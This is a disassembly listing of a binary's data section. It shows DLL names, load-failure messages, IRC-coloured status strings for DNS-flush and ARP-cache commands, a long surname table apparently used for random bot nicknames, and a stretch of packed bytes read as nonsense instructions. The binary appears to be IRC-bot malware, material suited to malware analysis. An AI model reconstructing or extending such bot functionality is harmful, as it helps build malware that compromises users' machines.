sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o align 10h a_: ; DATA XREF: sub_41036B+252o unicode 0, <.>,0 unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D884 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9B5o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8D8 db 2Dh ; - ; DATA XREF: sub_40A928+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o ; sub_40C2AF+38o ... aReal db 'real',0 align 4 dd 0 dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r aConst db 'const',0 align 10h dd 1, 40AB19h, 7474656Ch, 7265h, 0 dd 2, 40AB77h, 706D6F63h, 2 dup(0) dd 3, 40ABC4h, 6E756F63h, 797274h, 0 dd 4, 40AC62h, 736Fh, 2 dup(0) dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEEDh off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" ; --------------------------------------------------------------------------- loc_42E3C8: ; CODE XREF: .packed:loc_42E3C8j js short loc_42E3C8 inc edx add [esi+edi*8+42h], ch add [eax-2], ah inc edx add [esi+edi*8+42h], dl add [eax-2], cl inc edx add [esi+edi*8], bh inc edx add [esi+edi*8], dh inc edx add [esi+edi*8], ch inc edx add [esi+edi*8], ah inc edx add [esi+edi*8], bl inc edx add [esi+edi*8], dl inc edx add [esi+edi*8], al inc edx add ah, bh std inc edx add al, dh std inc edx add al, ch std inc edx add al, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [eax-4FFFBD03h], bh std inc edx add [ebp+edi*8-263FFBEh], ah inc edx add [eax-7BFFBD03h], dl std inc edx add [ebp+edi*8+42h], bh add [eax-3], dh inc edx add [ebp+edi*8+42h], ah add [ebp+edi*8+42h], bl add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add ds:0FD280042h[edi*8], dh inc edx add [eax], ah std inc edx add [eax], bl std inc edx add ds:0FD0C0042h[edi*8], dl inc edx ; --------------------------------------------------------------------------- db 0 dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; 